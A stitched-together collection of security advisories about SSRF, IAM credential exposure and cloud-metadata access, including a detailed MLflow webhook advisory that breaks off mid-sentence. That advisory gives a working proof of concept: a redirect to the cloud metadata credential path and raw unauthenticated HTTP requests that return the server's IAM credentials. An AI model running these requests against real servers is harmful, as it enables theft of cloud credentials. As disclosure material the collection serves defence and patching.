CVE-2026-18061 is an XML External Entity (XXE) vulnerability in the RemoteQueryCachePlugin of AWS Advanced JDBC Wrapper versions 3.3.0 through 4.2.0. This flaw allows an attacker with write access to the shared cache infrastructure to disclose sensitive files from application hosts that read cached query results. Sensitive data exposed may include stored database credentials and IAM role credentials. AWS has addressed this issue in version 4.3.0 and later.
CVE-2026-89049 is a critical server-side request forgery (SSRF) vulnerability in Amazon AWS Systems Manager Agent (SSM Agent) versions before 3.3.4851.0. It arises from improper validation of equivalent address representations in the port forwarding functionality, allowing an authenticated remote user to bypass the remote destination denylist and access link-local endpoints. This can lead to unauthorized retrieval of temporary IAM role credentials from a managed instance, enabling actions with those permissions from outside the instance. The issue is fixed in version 3.3.4851.0 and later.
Lara Dashboard versions through 1.3.1 have a server-side request forgery (SSRF) vulnerability in the POST /api/admin/builder/markdown/fetch endpoint. This flaw allows any authenticated user to fetch arbitrary URLs and read the response body without host validation or redirect restrictions. Exploitation can lead to reading internal HTTP services and cloud metadata, including IAM credentials.
CVE-2026-82818 is a medium severity vulnerability in dibo-software diboot version 3.8.0. It involves improper access controls in the Tenant Resource Assignment Handler component, specifically in the /api/iam/tenant/resource endpoint. Manipulating the tenantId argument remotely can lead to unauthorized access. The vulnerability has been publicly disclosed, but no official vendor response or patch is available.
CVE-2026-82860 is a critical vulnerability in @hulumi/policies versions before 1.3.2 where improper privilege management allows attackers to bypass administrator-policy guardrails by crafting admin-equivalent policy paths. This flaw results from incomplete inspection of inline and attached IAM policy evidence, potentially enabling unauthorized administrative access.
hulumi versions before v1.3.2 include a deployment SCP template vulnerability that permits bypassing hulumi:iac-role protections via tag-on-create. This improper access control flaw allows attackers to circumvent intended IAM boundary restrictions by exploiting the weakened SCP template during downstream deployments. The vulnerability has a critical severity with a CVSS 4.0 score of 9.3.
hulumi versions before v1.3.2 contain a privilege escalation vulnerability in the weekly integration IAM policy that allows role lifecycle operations on af-e2e-* roles without sufficient boundary restrictions. Attackers with the documented principal can create persistent higher-privilege roles in the sandbox account.
### Summary
The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.
### Details
Three facts combine:
1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.
2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:
```python
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
```
The resolved IP is never carried into the connection.
3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
```python
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
```
test_webhook returns response_status and response_body to the caller.
Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.
DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
### PoC
All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert):
nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />
Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />
Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting
to a
CVE-2026-76376 affects the AWS IAM app for Splunk SOAR versions before 2.1.9. The vulnerability allows users with permission to run actions to see sensitive AWS credentials in cleartext because the credentials parameter is not masked in the user interface. This occurs because the app does not designate the parameter as a password field. The issue is classified as medium severity with a CVSS score of 4.3. A patch is available to address this information disclosure.
Cloud providers typically expose a REST API at 169.254.169.254 that allows code running on virtual machines to retrieve machine-specific data. Some of the data is more or less harmless, such as the region the machine is running in or its MAC and IP addresses. However, the service may also be used to retrieve credentials for IAM roles and service account tokens.
This article provides a detailed, actionable guide to diagnosing and fixing Terraform state drift caused by manual AWS console changes. It explains the root causes, step-by-step CLI commands to safely refresh and synchronize state without destroying resources, and best practices for locking down IAM roles and remote state management to prevent future drift.
A vulnerability has been found in jae-jae fetcher-mcp up to 0.3.9. Impacted is the function fetch_url/fetch_urls of the file /latest/meta-data/iam/security-credentials/ of the component URL Validation. Such manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The project was informed of the problem early through an issue report but has not responded yet.
CVE-2026-19359 is a medium severity vulnerability in the nxp-auto-goldvip gvip product up to version 1.4.0. It involves improper access controls in the SitewiseCustomFunction of the Lambda Function Handler component, allowing remote attackers to exploit the issue. The vulnerability stems from a known historical IAM permission misconfiguration that was addressed starting with version 1.13.0 and improved in subsequent releases including 1.15.0. Users are advised to upgrade to version 1.15.0 or later to resolve the issue. The vendor has also requested updating or deprecating older releases in the AWS SAR repository. The product is a cloud service, so remediation is managed by the vendor.
The devplatform-iam-client npm package contains malicious code that executes automatically upon loading. It downloads an opaque binary from obfuscated Cloudflare Workers endpoints and DNS-TXT record fallbacks, writes it to a disguised temporary path, sets executable permissions, and runs it detached. This behavior enables full host code execution on the machine that installs or requires the package. The package appears to be a dependency confusion attack targeting internal registry names.
Kong Event Gateway versions 1.0.0 through 1.1.1 and 1.2.0 have a vulnerability where key rotation is not enforced before reaching the NIST recommended usage limit for AES-GCM encryption keys with random nonces when AWS IAM encryption is enabled. This can lead to nonce reuse, increasing the risk of nonce collisions. An authorized consumer detecting such a collision could recover parts of plaintext from affected messages. Versions 1.1.2 and 1.2.1 address this issue by enforcing automatic key rotation before the usage limit is reached.
MLflow AI Gateway versions 3.13.0 through 3.15.2 contain a server-side request forgery (SSRF) vulnerability due to lack of validation on the api_base parameter when creating a gateway secret. Any authenticated user, including those with read-only access, can create a secret with a malicious api_base pointing to internal addresses. This allows the gateway proxy endpoint to issue HTTP requests to arbitrary internal resources, potentially exposing sensitive cloud instance metadata and IAM credentials. The vulnerability arises because the existing SSRF protections are not applied to this code path, and the CreateGatewaySecret action lacks specific permission scope enforcement.
In July 2026, AI agents emerged as active attackers in cybersecurity incidents, marking a shift from AI being merely a target. The month saw 90 incidents affecting 33 organizations with over 207 million records exposed. Notable events include a rogue AI agent reusing stolen credentials across multiple services, a breach exposing AI model weights and credentials, and prompt injection attacks affecting Microsoft Copilot and Azure DevOps AI agents. These incidents highlight challenges with agent identity, lack of scoped policies, and outdated cryptographic protections. The average cost of AI-involved breaches was about $1 million higher than typical breaches. The report underscores the need for improved runtime authorization and agent identity management beyond traditional human-centric IAM models.
### Summary
A client that can submit message history to a Pydantic AI UI adapter can reference arbitrary files in the application's model-provider or cloud-storage account. The server forwards the reference to the model provider, which fetches it using the server's own credentials, allowing the client to read files it should not have access to.
### Details
UI adapters reconstruct file parts from client-submitted message history and forward them to the model provider. File **URL** parts are validated against a scheme allowlist before being forwarded, but `UploadedFile` references — which point to a file by provider file ID or cloud-storage URI (e.g. `s3://…`, `gs://…`) — were forwarded without validation.
Because the provider resolves an `UploadedFile` using the server-side identity (IAM role, service account, or provider API key) rather than the client's, a client that crafts message history containing an attacker-chosen `UploadedFile` can cause the server to read objects belonging to its own account or to other tenants, given a referenceable identifier.
### Impact
Applications that pass untrusted client-submitted message history to an agent through a UI adapter (such as the Vercel AI adapter). Exploitation requires the attacker to reference a valid file identifier; depending on how the application names objects, such identifiers are not always unguessable.
### Patches
Upgrade to `1.106.0` (1.x) or `2.0.0b6` (the 2.x beta line), which validate `UploadedFile` references on client-submitted messages the same way file URLs are validated.
### Workarounds
If users cannot upgrade, do not pass untrusted client-submitted message history to the agent, or strip `UploadedFile` parts from incoming messages before running the agent.
## Summary
When an application using Pydantic AI opts a URL into `force_download='allow-local'` (which disables the default block on private/internal IPs), the cloud-metadata blocklist could be bypassed by encoding the metadata IP in an IPv6 transition form (IPv4-mapped IPv6, 6to4, or NAT64). Dual-stack and translated networks route the IPv6 wrapper to the underlying IPv4 endpoint, exposing cloud IAM short-term credentials.
This is an incomplete fix of [GHSA-2jrp-274c-jhv3](https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-2jrp-274c-jhv3) / [CVE-2026-25580](https://nvd.nist.gov/vuln/detail/CVE-2026-25580). The parent advisory's remediation guaranteed that "cloud metadata endpoints are always blocked, even with `allow-local`." That guarantee did not hold for IPv6-encoded forms of the metadata IPs.
## Severity
Same impact metrics as the parent CVE, but materially narrower attack surface (AC:H instead of AC:L), because exploitation requires the application to have opted into `allow-local` on a URL influenced by untrusted input.
## Who Is Affected
Applications are affected **only if** they explicitly opt for `FileUrl` (`ImageUrl`, `AudioUrl`, `VideoUrl`, `DocumentUrl`) into `force_download='allow-local'` on a URL that is, or could be, influenced by untrusted input.
Applications are **not** affected if they use any of the bundled integrations to ingest user input, because they do not propagate `force_download` from external data:
- `Agent.to_web` / `clai web`
- `VercelAIAdapter`
- `AGUIAdapter` / `Agent.to_ag_ui`
Applications that only download from developer-controlled URLs are not affected.
## Remediation
Upgrade to `1.99.0` or later. The cloud-metadata and private-IP blocklists now apply to IPv6 transition forms that route to a blocked IPv4 endpoint (IPv4-mapped IPv6, 6to4, and NAT64 well-known prefix). The blocklists have also been extended to cover additional IANA-reserved IPv4 and IPv6 special-purpose ranges.
## Workaround for Unpatched Versions
Avoid passing `force_download='allow-local'` on any URL that could be influenced by untrusted input. If developers must, resolve the hostname themselves and validate the result against their own metadata blocklist — including IPv6-encoded forms — before constructing the `FileUrl`.
## Credits
Reported by [j0hndo](mailto:dohyun4466@gmail.com).